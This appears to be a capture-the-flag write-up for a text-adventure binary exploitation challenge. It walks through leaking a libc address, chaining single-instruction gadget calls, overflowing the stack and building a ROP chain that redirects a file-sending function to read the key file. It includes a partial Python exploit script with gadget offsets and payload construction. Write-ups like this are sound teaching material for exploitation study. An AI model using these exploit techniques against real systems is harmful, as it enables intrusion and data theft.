Find the key. Pwnadventure running at pwnventure.ghostintheshellcode.com:1979.
I came into the problem late, my team had already retrieved the binary (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x0ef0c145211b8dacbaf4e8249282efa03f8f6dbb, stripped).
Turns out it’s a text based adventure game.
________ / ____/ /_ ____ ____ ________ __ ______ __ _______ / / / __ \/ __ \/ __ \/ ___/ _ \ / / / / __ \/ / / / ___/ / /___/ / / / /_/ / /_/ (__ ) __/ / /_/ / /_/ / /_/ / / \____/_/ /_/\____/\____/____/\___/ \__, /\____/\__,_/_/ ____ ___ __ /____/ __ / __ \_ ______ / | ____/ / _____ ____ / /___ __________ / /_/ / | /| / / __ \ / /| |/ __ / | / / _ \/ __ \/ __/ / / / ___/ _ \ / ____/| |/ |/ / / / / / ___ / /_/ /| |/ / __/ / / / /_/ /_/ / / / __/ /_/ |__/|__/_/ /_/ /_/ |_\__,_/ |___/\___/_/ /_/\__/\__,_/_/ \___/ You hold in your hands a map to a vast treasure under the mountain. Your desire to be rich far outweighs your desire to cooperate with others, so you are obviously going on this quest alone, with only your wits and your awesome hacker magic to aid you. You start your quest on a road just outside of town. You feel a strange forboding feeling eminating from the map, like it has an alien magic all of its own. What do you do? 1) Follow the road toward the mountain. 2) Turn around and ask the mage in town what is going on.
The program has a bunch of protections:
- Binary is position independent
- ASLR and DEP are enabled
- Program re-exec’s itself with the socket fd as a parameter to re-initialize ASLR
- The program uses fdopen to open two FILE* for the socket into globals, one for reading and one for writing
- The program allocates a random amount of data on the heap
The goal of the game is to get to the mountain. There’s a bunch of paths to get there, but one will expose the address of the fprintf function. Once you get to the mountain, you are given a few options, they boil down to:
- Answer a simple question – opens the program binary (name is in a global pointer) and sends it
- A game of colors – solve a rubix cube, once solved the address of a malloc’d buffer is sent
- A game of numbers – solve a triangle based Sudoku (I believe), once solved the buffer is set as executable
- Prepare magic incantation – load up to 516 bytes into malloc’d buffer
- Use your magic – calls the value at buffer+512 with a pointer to the string “What does magic made of code look like?” stored on stack – other values on stack after address of buffer are: 1, 0x16, sendFile
You can call these as many times as you wish, in any order you wish.
So the simple solution would be to solve both the rubix cube and Sudoku and then load shellcode into the buffer, and use the magic… but I hate writing solvers, and I figured why not have a bit more of a challenge. We start with only control of EIP via a CALL; and no values that we control on the stack. We also know the location of libc as we can calculate that based on the offset of fprintf. So we can start some sort of single instruction ROP.
It turns out that ebx is the register used for the position independent offsets, and it’s always set to the program load address + 0xcff4; If we could get a copy of that in a register that isn’t used, and decrement that register a set number of times; we could make it point to some code in the binary.
It turns out that esi is not used, and is not modified between calls of Prepare Magic and Use Magic. Luckily libc has a ROP gadget for “or esi, ebx” and esi is initially 0. So now esi is set to the PIC offset. Libc also has a gadget for “dec esi”; so if we call that in a loop we can make esi point to any code in the binary we want. So lets pick a function that will read some data. As luck would have it, prepare magic takes a buffer as a param and will read 516 bytes with fgets(), and UseMagic calls our pointer with an address of a buffer on the stack… so we now have a stack overflow!
BUT DEP is still enabled, ASLR is enabled and we only know where libc is, and it uses fgets – which means no NULLs and no 0x0a bytes.
We can easily figure out that the return address is 60 bytes into the buffer overflow;, so we know where to start our ROP code… Like any good ROPer with libc, I can easily find gadgets to move data into a memory location (Thank you ROPgadget); and since the only memory location I know is libc, I decided to use libc’s data section for my own fun and profit. The steps for exploitation basically boil down to:
- Store some offsets and “key” filename in libc data
- Because things couldn’t have null bytes, set the bytes that need to be NULL
- Using esi which has the real address of PrepareMagic, subtract offset to SimpleQuestion function (which send “program”)
- Save esi
- using esi, calculate offset to global program name pointer
- Overwrite pointer with address to “key” filename
- call SimpleQuestion
- call exit
The script below has the ROP payload and everything in it. It will connect and send everything for the exploit. It will pass control to SimpleQuestion with the global filename pointing to “key”. All that the user has to do is send “1”[enter] and the program will send the key, hex encoded with “\b\b” after every byte. Capturing with wireshark and converting with a simple hex2bin was all it took to find the solution.
__________________________________________ | | | The key is: TehTR34SUREisL1KEcakeITSaL13 | |__________________________________________| The elf disappears in a puff of magic, leaving you alone with the vast treasure under the mountain. Your biggest problem now is how to get the treasure out of there. __ __ _ _ _ _ \ \ / / | | | (_) | | \ V /___ _ _ | | | |_ _ __ | | \ // _ \| | | | | |/\| | | '_ \| | | | (_) | |_| | \ /\ / | | | |_| \_/\___/ \__,_| \/ \/|_|_| |_(_)
Thanks to my teammates for having the printf address already found, the code path to get to the “exploit” done and having the appropriate libc laying around.
#!/usr/bin/env python import socket, random, string import subprocess, time import sys from sys import argv,exit from struct import pack, unpack DEFAULT_PORT = 1979 DEBUG = True def connect(dst, port): try: s = socket.socket(socket.AF_INET6 if ':' in dst else socket.AF_INET, socket.SOCK_STREAM) s.connect((dst, port)) return s except socket.error, e: print "Error: %s" % repr(e) exit(1) def recv(s, size=4096): d = s.recv(size) #if DEBUG: print "S: %r" % d return d def send(s, d): #if DEBUG: print "C: %r" % d return s.send(d) def play_troll_game(s): min = 1 max = 500 while True: guess = (max+min)/2 send(s, "1000\n") recv(s) send(s, "%d\n" % (guess)) res = recv(s) while res.find("enough") == -1 and res.find("much") == -1 and res.find("correct") == -1: res = recv(s) if res.find("enough") != -1: min = guess elif res.find("much") != -1: max = guess else: break # while recv(s).find("Choice:") != -1: # continue #Get the rop payload to store value (string) into addr def get_store(libc, addr, value): pop_eax = libc+0xee9f1 pop_cb = libc+0xf8772 store_eax_in_ecx = libc+0x000720fa pay = "" pay += pack("<I", pop_eax) pay += value pay += pack("<I", pop_cb) pay += pack("<I", addr) pay += pack("<I", 0x42424242) pay += pack("<I", store_eax_in_ecx) return pay def exploit(dst, port): s = connect(dst, port) s.settimeout(1) recv(s) send(s, "1\n") recv(s) send(s, "3\n") recv(s) send(s, "abs\n") play_troll_game(s) send(s, "2\n") recv(s) send(s, "2\n") #find fprintf address res = recv(s) fprintf = res[res.find("from 0x")+7:-1][0:8] print "\n\nfprintf: %s\n\n\n" % (fprintf) fprintf_addr = int(fprintf, 16) #fwrite libc = fprintf_addr - 0x4abd0 set_esi_addr = fprintf_addr - 0x4abd0 + 0x6701c #exit_addr = fprintf_addr + 0x19AD0 exit_addr = libc+0x32fc0 send(s, "lahf\n") recv(s) send(s, "4\n") recv(s) #set esi - call the "or esi, ebx" ROP incantation = "A"*512 + pack("<I", set_esi_addr) + "\n" send(s, incantation) recv(s) send(s, "5\n") recv(s) send(s, "1\n") recv(s) dec_esi = libc + 0x19507f send(s, "\n\n4\n") recv(s) incantation = "A"*512 + pack("<I", dec_esi) + "\n" send(s, incantation) recv(s) #offset of the PrepareMagic in binary (what we want to set esi to) prepare_addr = 0x379f #esi starts at load_addr+0xcff4; so we need to call dec esi a bunch for x in range(0,(0xcff4-prepare_addr)): send(s, "5\n") send(s, "1\n") if (x % 100 == 0): #do things in a loop and not one at a time because of slow network while True: try: recv(s) except socket.error: break print "%d" % x while True: try: recv(s) except socket.error: break